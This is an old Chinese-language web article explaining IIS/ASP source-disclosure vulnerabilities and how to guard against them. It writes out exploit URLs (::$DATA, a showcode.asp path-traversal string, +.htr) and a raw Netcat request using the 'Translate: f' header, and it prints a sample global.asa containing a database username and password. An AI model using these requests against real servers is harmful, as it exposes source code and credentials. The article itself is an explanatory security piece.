分享
 
 
 

ASP常见的安全漏洞

王朝asp·作者佚名  2008-05-19
窄屏简体版  字體: |||超大  

ASP的漏洞已经算很少的了,想要找到数据库的实际位置也不简单,但这不表明黑客无孔可入,也正是这个观点,一般的程序设计员常常忘记仔细的检查是否有漏洞,所以才有可能导致网站资料被窃取的事件发生。今天我在这里和大家谈谈ASP常见的安全漏洞,以引起大家的重视及采取有效的防范措施。(注意,在本文中所介绍的方法请大家不要试用,请大家自觉遵守网络准则,谢谢!)

Microsoft 的 Internet Information Server(IIS)提供利用 Active Server Pages(ASPs)而动态产生的网页服务。一个ASP文件,就是一个在 HTML 网页中,直接内含程序代码的文件。回询(request)一个 ASP 文件,会促使 IIS 运行网页中内嵌的程序代码,然后将其运行结果直接回送到浏览器上面。另一方面,静态的 HTML 网页,是按照其原来的样子回传到浏览器上面,没有经过任何的解析处理。在这里,IIS 是利用档案的附加档名来区别档案的型态。一个附加档名为 .htm 或 .html 的档案是属于静态的 HTML 档案,而附加档名为 .asp 的档案则为一个Active Server Pages 档案。正因为如此,这一个Active Server Pages 就给别人留了后门。

例如,通过利用这个简单的参数,就会显示它所在的系统的时间。日期是自动从系统取得的,而以网页的方式传送出来。通过浏览器回询这个网页,我们不会看到刚刚的程序代码,而是看到程序代码的执行结果,或许在所有网络安全漏洞里面,最不受重视的就是未经过解析的文件内容或程序代码无意中被显示出来的安全漏洞。简单的说,这些安全漏洞允许使用者从网页服务器骗取动态网页里面的程序代码。

以前最早人们利用 ASP安全漏洞的方式,就是利用 Windows NT 的数据传输串行的特性去存取档案。你只要利用一个最简单的参数(::$DATA)你就可以看到 ASP 的原始程序了。

例如,以下的 URL:

http://10.1.1.11/login.asp::$DATA

你会取得一个叫做login.asp的档案中未经过解析的 ASP 程序代码。因为这个 URL 字符串并没有以 .asp 做结束,IIS 就没有办法决定这个被回询的档案是否为一个 ASP 档。

显示的程序代码如下:

xxxx

alert("请输入您的 密码!!")

}

else {

document.f1.action="checkuser.asp"

document.f1.submit()

}

}

xxxx

注:checkuser.asp 就是检查帐号密码的东西!

当然了,并非所有的程序代码上安全漏洞都归咎于网页服务器软件。例如,如果你采用典型安装 Widows NT Option Pack 4.0的话,安装程序会将Exploration Air 安装上去,这是提供给 ASP 程序设计员当范例用的网站应用软件程序。其中Widows NT Option Pack 4.0的 showcode.asp 档案会将 Exploration Air 范例网站的原始程序代码整齐的显示出来。由于在程序里面并没有严格的权限检验程序,一个有经验的访客就可以猜到文件名称以及它们的目录路径,他就可以利用 showcode.asp 将任何在档案系统里面的档案读取。

这个黑客只要在他的浏览器里面用URL字符串,指定正确的文件名称以及目录路径当作 showcode.asp 的参数就可以了。例如,以下的 URL 可以让黑客看到在10.11.11.15服务器上default.asp 里面的原始程序代码:

http://10.11.11.15/msadc/

Samples/SELECTOR/showcode.asp?source=/

msadc/Samples/../../../../../

inetpub/wwwroot/default.asp

msadc/Samples/SELECTOR/showcode.asp 这是一个 FSO 的范例程序,主要用意在教您如何使用 FSO 去 View ASP 的 Source ,程序中虽然有限定只能 View /msadc/samples/ 下的档案。但是利用 MapPath 中回到上一层的语法来加以破解。(你可用一连串的 "../" 来跳到档案系统的最顶层,然后将在其它目录的档案窃取出来,当然要先经过存取权这一关才可以。)

架设有服务器的朋友可以试试看这个 Link ,试试能不能看到你根目录底下的档案 ,如果可以,那你就该注意了!

而在IIS 5.0 的安全漏洞,其中之一就是利用 .htr 控制模块(handler)解析档案能力的安全漏洞了。IIS 的 Internet Service Manager 使用 ism.dll 来处理 .htr 档案。IIS 本身则使用 asp.dll 来处理 ASP 档案。利用 .htr 的安全漏洞,黑客可以将任何档案(包括 .asp 档,.asa 档等等)用 ism.dll 处理,而非用 asp.dll 处理。而因为 ism.dll 并非被设计用来处理 ASP 的 tag,它便直接把原始程序代码显示出来。要想利用这个安全漏洞,远程的黑客们只要在他们的 URL字符串的尾巴加上 +.htr。例如,要在10.11.11.15上看 default.asp 的原始程序代码,一个黑客可以用下面的 URL:

http://10.11.11.15/default.asp+.htr

这时你只要在浏览器的菜单栏,选择“查看/源文件”就可以看到 ASP的程序,一切都很简单,防火墙挡不住这个。不过,和showcode.asp不一样的是,这个漏洞不能让黑客们直接在网站服务器文件根目录之外窃取出指定的档案。另外,如果 ASP 文档有 的卷标,这个方法运作起来也不会很顺利。在碰到 % 符号时,输出结果会被终止掉。因此,利用这个漏洞所能窃取的一般是使用 SCRIPT RUNAT="SERVER" ... /SCRIPT 卷标的 ASP 文件。

一般说来,在任何一个建在 IIS ASP 以及 SQL Server 之上的网站中,让黑客感兴趣的资料是global.asa。这个global.asa 档案是存在于网站文件根目录之下,它含有一些网页应用程序的设定参数。设定的参数可以包括事先定义好的变量,数据库使用者识别码及密码,系统名称,以及数据库服务器地址。一旦黑客们取得 global.asa,就等于取得了整个网站大门的钥匙。

例如,利用以下的URL: http://10.11.11.15/global.asa+.htr可以取得10.11.11.15上面的 global.asa 档案。注意那个数据库连接字符串中的 UID 和 PWD。这给了黑客一个使用者名称以及密码:

SCRIPT LANGUAGE="VBScript" RUNAT="Server">

Sub Application_OnStart

Set Db = Server.CreateObject("Commerce.DbServer")

Db.ConnectionString = "DSN=trans.db;UID=sa;PWD=n0t4u2c"

Db.Application = http://10.11.11.15/

Set Application("Db") = Db

End Sub

Sub Session_OnStart

'==Visual InterDev Generated - DataConnection startspan==

'--Project Data Connection

Session("DataConn_ConnectionString") =

"DSN=CertSrv;DBQ=C:\WINNT2\System32\CertLog\certsrv.mdb;DriverId=25;

FIL=MS Access;MaxBufferSize=512;PageTimeout=5;"

Session("DataConn_ConnectionTimeout") = 15

Session("DataConn_CommandTimeout") = 30

Session("DataConn_RuntimeUserName") = ""

Session("DataConn_RuntimePassword") = ""

'==Visual InterDev Generated - DataConnection endspan==

End Sub

/SCRIPT

Microsoft 已经以修正这项安全漏洞。

在.htr 安全漏洞得到修正之后,黑客们又找到了新的切入点:Translate: f 模块的安全漏洞。Translate: f 模块是 Microsoft 为了 FrontPage 2000 以及 FrontPage 2000 Server extensions on Windows 2000 而设计的 WebDAV 的一部份。如果一个反斜线(\)被附加到所要求的档案资源之后,而且 Translate: f 模块在提出回询的 HTTP 表头标题里面,那么网页服务器就会回传完全未经处理的 ASP 原始程序代码。

下面是一个使用 Netcat(相关网址:http://www.l0pht.com/~weld/netcat/)送出回询的 HTTP 表头,可以用来取得10.11.11.15上面 default.asp 的原始程序代码:

$ nc10.11.11.1580

GET /default.asp%5C HTTP/1.0

Host: 10.11.11.15

User-Agent: Mozilla/4.0

Content-Length: 18

Content-Type: text/html

Translate: f

match=www&errors=0

注意:在 GET 回询中,用了%5C。 反斜线字符(\)的十六位 ASCII 码表示方式就是 %5C。 这个方法,在 ASP 以及 ASA 的档案里面都可以使用。另外,在IIS 4.0 上安装运行FrontPage 2000 Server extensions 会存在这种安全漏洞。如果你相进一步了解该项安全漏洞的更多信息,可以在 http://www.securityfocus.com/bid/1578 ,此外Microsoft 也已经公布了修复的patch (下载网址:http://download.microsoft.com/download/win2000platform/Patch/Q256888/NT5/EN-US/Q256888_W2K_SP1_x86_en.EXE。)

结论:

系统架设时的不小心,程序编写时的不注意,往往就是可能导致泄密的主因。为了减少你的网页服务器不会再遭受这种安全漏洞的威胁,你要确定你的网页服务器没有任何会泄漏珍贵信息的程序或不必要的 script 以及档案,只安装你需要的东西,并且定期使用安全检测软件对服务器进行检查,到网上了解最新的系统安全消息和知识。

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有